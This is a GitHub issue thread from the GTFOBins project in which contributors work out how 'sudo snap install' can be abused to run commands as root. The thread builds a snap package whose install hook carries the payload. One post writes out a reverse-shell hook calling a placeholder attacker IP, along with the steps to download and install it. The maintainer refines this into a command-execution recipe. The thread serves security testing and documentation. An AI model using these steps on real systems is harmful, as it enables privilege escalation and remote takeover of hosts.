Snap [New Feature] about gtfobins.github.io HOT 4 CLOSED

PS in the PR for the setup part you can take inspiration from rpm.

from gtfobins.github.io.

Thanks! Yes please start sketching a PR, we'll start from there. Try to keep it simple and see if you can just drop a shell instead of the reverse shell (which technically is not snap that spawns the revshell but bash), hence also please drop the firewall thing.

I briefly tried your script and complains about the permissions of multipass_socket, then:

launch failed: CPU does not support KVM extensions.

But I guess that's because I'm in a VM myself.

from gtfobins.github.io.

@cyrus-and
To do this in a VM, you need to enable "Virtualize Intel VT-x/EPT or AMD-V/RVI" so you can have VMs in a VM.
I had to disable the firewall because it was causing issues interacting with the container.

Also, doing further research, there is a better way to do this using FPM (https://github.com/jordansissel/fpm):
Install with this:

sudo apt-get install ruby ruby-dev rubygems gcc make rpm
sudo gem install --no-document fpm

Create snap package:

mkdir -p ./meta/hooks
printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/MYIP/MYPORT 0>&1"\n' > ./meta/hooks/install
chmod a+x ./meta/hooks/install
fpm -n revshell -s dir -t snap -a all ./meta

Transfer/Trigger to the target:

curl MYIP/revshell_1.0_all.snap -o revshell.snap
sudo snap install revshell.snap --dangerous --devmode

Unfortunately I cannot get it to just spawn a "bash" or a "sh" directly as the processing continues or halts and am unable to interact with the shell.

If this will suffice, I can make a PR of the following using fpm that spawns a reverse shell.

from gtfobins.github.io.

To do this in a VM, you need to enable "Virtualize Intel VT-x/EPT or AMD-V/RVI" so you can have VMs in a VM.

Thanks, it work now.

Unfortunately I cannot get it to just spawn a "bash" or a "sh" directly as the processing continues or halts and am unable to interact with the shell.

Apparently the hooks are run in a sort of chrooted environment where not all the devices are available so we cannot easily reuse the TTY for an interactive shell, but we can still run single commands and display their stdout/err.

Also if we make the install hook fail, we have the possibility to replay the payload with another snap install.

All in all, I'd put this in a GTFOBins command function:

# setup
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n my-snap -s dir -t snap -a all meta

# execution
sudo snap install my-snap_1.0_all.snap --dangerous --devmode

from gtfobins.github.io.